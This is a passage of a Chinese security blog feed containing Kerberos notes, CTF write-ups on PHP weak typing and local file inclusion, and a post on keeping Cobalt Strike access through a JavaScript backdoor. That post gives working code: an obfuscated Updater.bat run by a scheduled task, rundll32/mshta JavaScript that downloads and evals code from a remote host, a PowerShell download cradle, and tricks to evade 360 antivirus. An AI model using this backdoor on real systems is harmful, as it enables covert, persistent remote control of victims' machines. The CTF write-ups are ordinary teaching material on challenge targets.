class="built_in">len</span></span><br><span class="line"> <span class="keyword">local</span> sock, err = ngx.req.socket()</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> sock <span class="keyword">then</span></span><br><span class="line"><span class="keyword">return</span></span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"> ngx.req.init_body(<span class="number">128</span> * <span class="number">1024</span>)</span><br><span class="line"> sock:settimeout(<span class="number">0</span>)</span><br><span class="line"> <span class="keyword">local</span> content_length = <span class="literal">nil</span></span><br><span class="line"> content_length=<span class="built_in">tonumber</span>(ngx.req.get_headers()[<span class="string">'content-length'</span>])</span><br><span class="line"> <span class="keyword">local</span> chunk_size = <span class="number">4096</span></span><br><span class="line"> <span class="keyword">if</span> content_length < chunk_size <span class="keyword">then</span></span><br><span class="line">chunk_size = content_length</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"> <span class="keyword">local</span> size = <span class="number">0</span></span><br><span class="line"> <span class="keyword">while</span> size < content_length <span class="keyword">do</span></span><br><span class="line"><span class="keyword">local</span> data, err, partial = sock:receive(chunk_size)</span><br><span class="line">data = data <span class="keyword">or</span> partial</span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> data <span class="keyword">then</span></span><br><span class="line"><span class="keyword">return</span></span><br><span class="line"><span class="keyword">end</span></span><br></pre></td></tr></table></figure><p>waf从请求头读取content-length长度的数据,用sock:receive读取,在这种情况下变换请求头是没有意义的。就不会存在映射默认的请求方法。</p>]]></content>
<summary type="html">
<p>题目描述是原题,找到去年的原题和此题目几乎一样,于是用niexinming师傅的方法做到了注入步骤。<a href="http://blog.csdn.net/niexinming/article/details/52976923" target="_blank" rel=
</summary>
</entry>
<entry>
<title>Windows Kerberos 认证笔记</title>
<link href="http://hebic.me/2017/10/28/Windows-Kerberos-%E8%AE%A4%E8%AF%81%E7%AC%94%E8%AE%B0/"/>
<id>http://hebic.me/2017/10/28/Windows-Kerberos-认证笔记/</id>
<published>2017-10-28T12:34:11.000Z</published>
<updated>2017-10-28T12:38:02.000Z</updated>
<content type="html"><![CDATA[<p>KDC:在Kerberos认证过程中Key Distribution Center 可信的第三方,域环境中域控制器(DC)充当</p><p>KDC分为两部分,Authentication server(AS)和Ticket Granting Server(TGS)。</p><h2 id="第一步:"><a href="#第一步:" class="headerlink" title="第一步:"></a>第一步:</h2><p>客户端向AS向发送申请,比如说,我的ID是啥啥啥,我要申请文件服务器的ticket(票据)。他的申请被部分加密,使用他自己的密码加密。</p><p>注意:他没有在不安全的网络中传输他的密码,他只是用自己的密码加密自己的请求。</p><p>AS接受到请求,会用密码在数据库中重新加密他的ID,还会用他的密码当做key解密他的请求。</p><p>注意:他的密码在AS和客户端是公用的。</p><p>AS会发送一个用另一个key加密ticket grating ticket(TGT)给客户端。</p><h2 id="第二步:"><a href="#第二步:" class="headerlink" title="第二步:"></a>第二步:</h2><p>客户端收到TGT,就把TGT和他的请求(比如我要访问文件服务器)发送给TGS。</p><p>TGS收到了TGT,就解密这个被加密过的TGT。</p><p>之后,TGS释放一个用另外一个key加密的token给AS,这个key在TGS和文件服务器中间共享。</p><p>客户端把这个token发送给文件服务器</p><h2 id="第三步:"><a href="#第三步:" class="headerlink" title="第三步:"></a>第三步:</h2><p>文件服务器接收到了token,就用和TGS共享的key加密token。</p><p>文件服务器就可以和客户端通信,根据token中的时间。</p><p>token就像是一个电影票一样,一个人可以在什么时候看一个一个电影。</p><h2 id="Golden-Ticket:"><a href="#Golden-Ticket:" class="headerlink" title="Golden Ticket:"></a>Golden Ticket:</h2><p>伪造krbtgt用户TGT,可以与任何服务通信。需要和TGS通信。</p><h2 id="Silver-Ticket:"><a href="#Silver-Ticket:" class="headerlink" title="Silver Ticket:"></a>Silver Ticket:</h2><p>伪造token,直接和服务通信,不需要和KDC通信</p>]]></content>
<summary type="html">
<p>KDC:在Kerberos认证过程中Key Distribution Center 可信的第三方,域环境中域控制器(DC)充当</p>
<p>KDC分为两部分,Authentication server(AS)和Ticket Granting Server(TGS)。</p
</summary>
</entry>
<entry>
<title>cobalt strike persistence with javascript backdoor</title>
<link href="http://hebic.me/2017/10/25/cobalt-strike-persistence-with-javascript/"/>
<id>http://hebic.me/2017/10/25/cobalt-strike-persistence-with-javascript/</id>
<published>2017-10-25T13:08:13.000Z</published>
<updated>2017-10-25T14:17:22.000Z</updated>
<content type="html"><![CDATA[<p>Cobalt strike弹过来的shell重启之后shell就掉了,自然希望他可以在重启电脑之后依然发送心跳包过来,本文提供了一种cobalt strike权限维持的方法。</p><h1 id="理论操作"><a href="#理论操作" class="headerlink" title="理论操作"></a>理论操作</h1><p>github上有一份cs权限维持的脚本:<a href="https://github.com/Cyri1s/cobalt-strike-persistence" target="_blank" rel="noopener">https://github.com/Cyri1s/cobalt-strike-persistence</a> 脚本需要web delivery类的shell,在非管理员权限下需要调用powershell,360均弹窗提示有风险操作,因此得找一种方法绕过360。在<a href="http://www.91ri.org/15051.html" target="_blank" rel="noopener">http://www.91ri.org/15051.html</a> 中,作者使用rundll32.exe调用javascript来生成一个后门。在server上测试使用这个方法依然不会触发360的主动防御,所以利用github的权限维持脚本调用rundll32.exe生成cs的后门就是本文的思路。</p><p>下一步就是如何使用rundll32.exe生成cs后门,这里我修改了一下Evi1cg师傅的脚本(<a href="https://github.com/Ridter/MyJSRat" target="_blank" rel="noopener">https://github.com/Ridter/MyJSRat</a> ),让rundll32.exe运行cs的web delivery,让接受到的shell自动执行命令,cs就可以接收到了。</p><h1 id="具体操作"><a href="#具体操作" class="headerlink" title="具体操作"></a>具体操作</h1><p>以下是操作详情:</p><p>在cobalt strike中使用scripted web delivery,复制其中的</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">IEX ((new-object net.webclient).downloadstring('http://8.8.8.8/a'))</span><br></pre></td></tr></table></figure><p>保存为temp,执行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat temp | iconv --to-code UTF-16LE |base64</span><br></pre></td></tr></table></figure><p>复制得到的base64编码,执行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python MyJSRat.py -i 8.8.8.8 -p 6666 -c "powershell -ep bypass -enc 复制的base64"</span><br></pre></td></tr></table></figure><p>或者保存到autorun.sh,执行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nohup ./autorun.sh &</span><br></pre></td></tr></table></figure><p>如果有些红红绿绿的东西出现而且没有退出python,说明启动成功了。</p><p>下载cobalt-strike-persistence,修改uploadPSpayload函数如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">sub uploadPSpayload {</span><br><span class="line"> foreach $site (sites()) {</span><br><span class="line"> if ($site['Description'] eq "Scripted Web Delivery (powershell)"){</span><br><span class="line"> $downloadstring = "http://" . $site['Host'] . ":" . $site['Port'] . $site['URI'];</span><br><span class="line"> # $data = "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\'" . $downloadstring . "\'))\"";</span><br><span class="line"> $data = "@echo off%\r\nif \"%1\" == \"h\" goto begin\r\nmshta vbscript:createobject(\"wscript.shell\").run(\"C:\\Users\\Public\\Updater.bat h\",0)(window.close)&&exit \r\n:begin\r\nset a=rundl\r\nset b=l32.exe\r\nset c=javascr\r\nset d=ipt:\"\\..\\mshtml,RunHTMLApplication\r\nset e=\";document.write();h=new\%\%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");h.Open(\"GET\",\"http://8.8.8.8:6666/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new\%\%20ActiveXObject(\"WScript.Shell\").Run(\"cmd\r\nset f=taskkill\r\nset g=rundll32.exe\",0,true);}\r\n\%a\%\%b\% \%c\%\%d\% \%e\% /c \%f\% /f /im \%g\%\r\n@exit";</span><br><span class="line"> bupload_raw($1, $payloadPath, $data);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在cobalt strike中加载脚本,在beacon中执行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">persistence Add SchTasks OnIdle 1</span><br></pre></td></tr></table></figure><p>就可以在client生成一个空闲1分钟执行C:\Users\Public\Updater.bat的计划任务。不用脚本,可以用shell添加计划任务。要记得把bat上传上去。</p><p>Updater.bat的内容:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">@echo off%</span><br><span class="line">if "%1" == "h" goto begin</span><br><span class="line">mshta vbscript:createobject("wscript.shell").run("C:\Users\Public\Updater.bat h",0)(window.close)&&exit </span><br><span class="line">:begin</span><br><span class="line">set a=rundl</span><br><span class="line">set b=l32.exe</span><br><span class="line">set c=javascr</span><br><span class="line">set d=ipt:"\..\mshtml,RunHTMLApplication</span><br><span class="line">set e=";document.write();h=new%%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://8.8.8.8:6666/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%%20ActiveXObject("WScript.Shell").Run("cmd</span><br><span class="line">set f=taskkill</span><br><span class="line">set g=rundll32.exe",0,true);}</span><br><span class="line">%a%%b% %c%%d% %e% /c %f% /f /im %g%</span><br><span class="line">@exit</span><br></pre></td></tr></table></figure><h1 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h1><p>此方法还有很多不完善,比如bat运行会有黑框弹出,持续半秒左右。脚本的其他功能受到阻碍,有精力可以完善此脚本。另外使用OnIdel计划任务,很久才会出现空闲。</p><p>在可以命令执行的情况下,使用javascript backdoor不失为一个可以代替powershell弹cs的好方法。</p><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p><a href="https://github.com/Cyri1s/cobalt-strike-persistence" target="_blank" rel="noopener">https://github.com/Cyri1s/cobalt-strike-persistence</a></p><p><a href="http://www.91ri.org/15051.html" target="_blank" rel="noopener">http://www.91ri.org/15051.html</a></p><p><a href="https://github.com/3gstudent/Pentest-and-Development-Tips" target="_blank" rel="noopener">https://github.com/3gstudent/Pentest-and-Development-Tips</a></p><p><a href="https://github.com/Cyri1s/cobalt-strike-persistence" target="_blank" rel="noopener">https://github.com/Cyri1s/cobalt-strike-persistence</a></p><p><a href="http://blog.csdn.net/carl6148/article/details/7905549" target="_blank" rel="noopener">http://blog.csdn.net/carl6148/article/details/7905549</a></p>]]></content>
<summary type="html">
<p>Cobalt strike弹过来的shell重启之后shell就掉了,自然希望他可以在重启电脑之后依然发送心跳包过来,本文提供了一种cobalt strike权限维持的方法。</p>
<h1 id="理论操作"><a href="#理论操作" class="headerli
</summary>
</entry>
<entry>
<title>hack dat kiwi 2017 writeup</title>
<link href="http://hebic.me/2017/10/16/hack-dat-kiwi-2017-writeup/"/>
<id>http://hebic.me/2017/10/16/hack-dat-kiwi-2017-writeup/</id>
<published>2017-10-16T02:38:59.000Z</published>
<updated>2017-10-16T03:14:32.000Z</updated>
<content type="html"><![CDATA[<h1 id="Web50-MD5-Games-1"><a href="#Web50-MD5-Games-1" class="headerlink" title="Web50 MD5 Games 1"></a>Web50 MD5 Games 1</h1><p>web签到题,一道弱类型题目。题目代码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_GET[<span class="string">'src'</span>]))</span><br><span class="line"> highlight_file(<span class="keyword">__FILE__</span>) <span class="keyword">and</span> <span class="keyword">die</span>();</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_GET[<span class="string">'md5'</span>]))</span><br><span class="line">{</span><br><span class="line"> $md5=$_GET[<span class="string">'md5'</span>];</span><br><span class="line"> <span class="keyword">if</span> ($md5==md5($md5))</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"Wonderbubulous! Flag is "</span>.<span class="keyword">require</span> <span class="keyword">__DIR__</span>.<span class="string">"/flag.php"</span>;</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"Nah... '"</span>,htmlspecialchars($md5),<span class="string">"' not the same as "</span>,md5($md5);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">?></span></span><br><span class="line"><p>Find a string that has a MD5 digest equal to itself!</p></span><br><span class="line"><form></span><br><span class="line"> <label>Answer: </label></span><br><span class="line"> <input type=<span class="string">'text'</span> name=<span class="string">'md5'</span> /></span><br><span class="line"> <input type=<span class="string">'submit'</span> /></span><br><span class="line"></form></span><br><span class="line"></span><br><span class="line"><a href=<span class="string">'?src'</span>>Source Code</a></span><br></pre></td></tr></table></figure><p>要求$md5==md5($md5),写个脚本跑一下,几分钟可以跑出来。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">for</span> ($i=<span class="number">0</span>; $i < <span class="number">2147483647</span>; $i++) { </span><br><span class="line"><span class="keyword">if</span> (is_numeric(md5(<span class="string">"0e"</span>.$i))&&substr(md5(<span class="string">"0e"</span>.$i), <span class="number">0</span>,<span class="number">2</span>)==<span class="string">"0e"</span>){</span><br><span class="line"><span class="keyword">print</span> $i . <span class="string">"---"</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h1 id="Web150-MD5-Games-2"><a href="#Web150-MD5-Games-2" class="headerlink" title="Web150 MD5 Games 2"></a>Web150 MD5 Games 2</h1><p>这道题到比赛结束还没有人做出来,后来官方放出writeup,感觉思路新颖非常值得学习。于是自己还没有跑出来结果,就放给自己学校的比赛了,被大家一顿吐槽。于是先收题,等自己跑出来确定能在比赛前做出来后再放题。wp比赛结束后补上</p><h1 id="Web120-Hasher"><a href="#Web120-Hasher" class="headerlink" title="Web120 Hasher"></a>Web120 Hasher</h1><p>题目给出源码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"> <span class="meta"><?php</span></span><br><span class="line"><span class="keyword">if</span> (!shell_exec(<span class="string">"which openssl"</span>))</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"Challenge Error: need openssl installed\n"</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_GET[<span class="string">'code'</span>]))</span><br><span class="line"> <span class="keyword">die</span>(highlight_file(<span class="keyword">__FILE__</span>));</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">str_xor</span><span class="params">($str,$max_depth=<span class="number">0</span>,$depth=<span class="number">0</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> $mid=strlen($str)/<span class="number">2</span>;</span><br><span class="line"> $left=substr($str,<span class="number">0</span>,$mid);</span><br><span class="line"> $right=substr($str,$mid);</span><br><span class="line"> <span class="keyword">if</span> ($depth<$max_depth)</span><br><span class="line"> {</span><br><span class="line"> $left=str_xor($left,$max_depth,$depth+<span class="number">1</span>);</span><br><span class="line"> $right=str_xor($right,$max_depth,$depth+<span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> $out=<span class="string">""</span>;</span><br><span class="line"> <span class="keyword">for</span> ($i=<span class="number">0</span>;$i<strlen($left);++$i)</span><br><span class="line"> $out.=$left[$i]^$right[$i];</span><br><span class="line"> <span class="keyword">return</span> $out;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">hasher</span><span class="params">($string)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">if</span> (!ctype_alnum($string))</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> $t=trim(shell_exec(<span class="string">"echo -n '{$string}' | openssl dgst -whirlpool | openssl dgst -rmd160"</span>));</span><br><span class="line"> $t=str_replace(<span class="string">"(stdin)= "</span>,<span class="string">""</span>,$t); <span class="comment">//some linux adds this</span></span><br><span class="line"> <span class="keyword">if</span> (!$t)</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">return</span> bin2hex(str_xor(hex2bin($t),<span class="number">1</span>));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$user=<span class="string">'admin'</span>;</span><br><span class="line">extract($_POST);</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($password))</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span> (hasher($user)==hasher($password) <span class="keyword">and</span> $user!=$password)</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"Welcome! Flag is: "</span>.<span class="keyword">include</span>(<span class="string">"flag.php"</span>);</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"Invalid password.<br/>"</span>;</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"></span><br><span class="line"><form method=<span class="string">'post'</span>></span><br><span class="line"> <label>Password:</label></span><br><span class="line"> <input type=<span class="string">'password'</span> name=<span class="string">'password'</span> /></span><br><span class="line"> <input type=<span class="string">'submit'</span> /></span><br><span class="line"></form></span><br><span class="line"></span><br><span class="line"><a href=<span class="string">'./?code'</span>>Source Code</a> <span class="number">1</span></span><br></pre></td></tr></table></figure><p>最后的要求是</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (hasher($user)==hasher($password) <span class="keyword">and</span> $user!=$password)</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"Welcome! Flag is: "</span>.<span class="keyword">include</span>(<span class="string">"flag.php"</span>);</span><br></pre></td></tr></table></figure><p>hasher函数用openssl加密一次,再用str_xor函数加密一次。因为是==还是可以用弱类型绕过,就心想着爆破了。自己电脑里装了个pentestbox,自带openssl扩展,没想到计算结果和linux下是不同的。win下跑了半个多小时得到的结果是错误的,放到linux下几分钟就跑出来了。</p><p>exp1.php:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">if</span> (!shell_exec(<span class="string">"which openssl"</span>))</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"Challenge Error: need openssl installed\n"</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_GET[<span class="string">'code'</span>]))</span><br><span class="line"> <span class="keyword">die</span>(highlight_file(<span class="keyword">__FILE__</span>));</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">str_xor</span><span class="params">($str,$max_depth=<span class="number">0</span>,$depth=<span class="number">0</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> $mid=strlen($str)/<span class="number">2</span>;</span><br><span class="line"> $left=substr($str,<span class="number">0</span>,$mid);</span><br><span class="line"> $right=substr($str,$mid);</span><br><span class="line"> <span class="keyword">if</span> ($depth<$max_depth)</span><br><span class="line"> {</span><br><span class="line"> $left=str_xor($left,$max_depth,$depth+<span class="number">1</span>);</span><br><span class="line"> $right=str_xor($right,$max_depth,$depth+<span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> $out=<span class="string">""</span>;</span><br><span class="line"> <span class="keyword">for</span> ($i=<span class="number">0</span>;$i<strlen($left);++$i)</span><br><span class="line"> $out.=$left[$i]^$right[$i];</span><br><span class="line"> <span class="keyword">return</span> $out;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">hasher</span><span class="params">($string)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">if</span> (!ctype_alnum($string))</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> $t=trim(shell_exec(<span class="string">"echo -n '{$string}' | openssl dgst -whirlpool | openssl dgst -rmd160"</span>));</span><br><span class="line"> $t=str_replace(<span class="string">"(stdin)= "</span>,<span class="string">""</span>,$t); <span class="comment">//some linux adds this</span></span><br><span class="line"> <span class="keyword">if</span> (!$t)</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">return</span> bin2hex(str_xor(hex2bin($t),<span class="number">1</span>));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> ($i=<span class="number">0</span>; $i < <span class="number">10000000</span>; $i++) { </span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(is_numeric(hasher(<span class="string">"0e"</span>.md5($i)))&&substr(hasher(<span class="string">"0e"</span>.md5($i)), <span class="number">0</span>,<span class="number">2</span>)==<span class="string">"0e"</span>){</span><br><span class="line"><span class="keyword">echo</span> $i;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>exp2.php:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">if</span> (!shell_exec(<span class="string">"which openssl"</span>))</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"Challenge Error: need openssl installed\n"</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_GET[<span class="string">'code'</span>]))</span><br><span class="line"> <span class="keyword">die</span>(highlight_file(<span class="keyword">__FILE__</span>));</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">str_xor</span><span class="params">($str,$max_depth=<span class="number">0</span>,$depth=<span class="number">0</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> $mid=strlen($str)/<span class="number">2</span>;</span><br><span class="line"> $left=substr($str,<span class="number">0</span>,$mid);</span><br><span class="line"> $right=substr($str,$mid);</span><br><span class="line"> <span class="keyword">if</span> ($depth<$max_depth)</span><br><span class="line"> {</span><br><span class="line"> $left=str_xor($left,$max_depth,$depth+<span class="number">1</span>);</span><br><span class="line"> $right=str_xor($right,$max_depth,$depth+<span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> $out=<span class="string">""</span>;</span><br><span class="line"> <span class="keyword">for</span> ($i=<span class="number">0</span>;$i<strlen($left);++$i)</span><br><span class="line"> $out.=$left[$i]^$right[$i];</span><br><span class="line"> <span class="keyword">return</span> $out;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">hasher</span><span class="params">($string)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">if</span> (!ctype_alnum($string))</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> $t=trim(shell_exec(<span class="string">"echo -n '{$string}' | openssl dgst -whirlpool | openssl dgst -rmd160"</span>));</span><br><span class="line"> $t=str_replace(<span class="string">"(stdin)= "</span>,<span class="string">""</span>,$t); <span class="comment">//some linux adds this</span></span><br><span class="line"> <span class="keyword">if</span> (!$t)</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">return</span> bin2hex(str_xor(hex2bin($t),<span class="number">1</span>));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> ($i=<span class="number">0</span>; $i < <span class="number">10000000</span>; $i++) { </span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(is_numeric(hasher(<span class="string">"0e"</span>.$i))&&substr(hasher(<span class="string">"0e"</span>.$i), <span class="number">0</span>,<span class="number">2</span>)==<span class="string">"0e"</span>){</span><br><span class="line"><span class="keyword">echo</span> $i;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><h1 id="Web-150-Fractal"><a href="#Web-150-Fractal" class="headerlink" title="Web 150 Fractal"></a>Web 150 Fractal</h1><p>一道商店题目。有几个页面:主页,订阅,购买,什么什么的。商店卖很多东西,flag的价格是10万,自己的钱是0 。在订阅页面输入一个邮箱,就可以返回一个优惠券,优惠券可以打9折再减5美元。测试了一下,不同的优惠券,在不同的时间,均不能叠加,一次只能使用一个优惠券。另外题目的url是index.php?page=home,有page参数就很像一个本地文件包含。测试了所有的payload均失败,自动跳转回home,猜测是白名单控制的。在index.php中有导航栏和输入优惠券的地方。</p><p>本以为这道题是一个逻辑漏洞,结果是一个本地文件包含。题目的做法是index.php?page=index。这样就导致了包含,每一层index.php都会读取page参数并读取index.php,在本地测试最大的嵌套数量是100个,这道题目在自身递归包含100次之后在最内层的优惠券输入框中输入优惠券,就会递归向外传递,在最外层的窗口flag的价格变为0,购买即可。</p><p>昨晚和小伙伴一起写了个简单的demo:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">session_start();</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">isset</span>($_SESSION[<span class="string">'youhuiquan'</span>])){</span><br><span class="line"> $_SESSION[<span 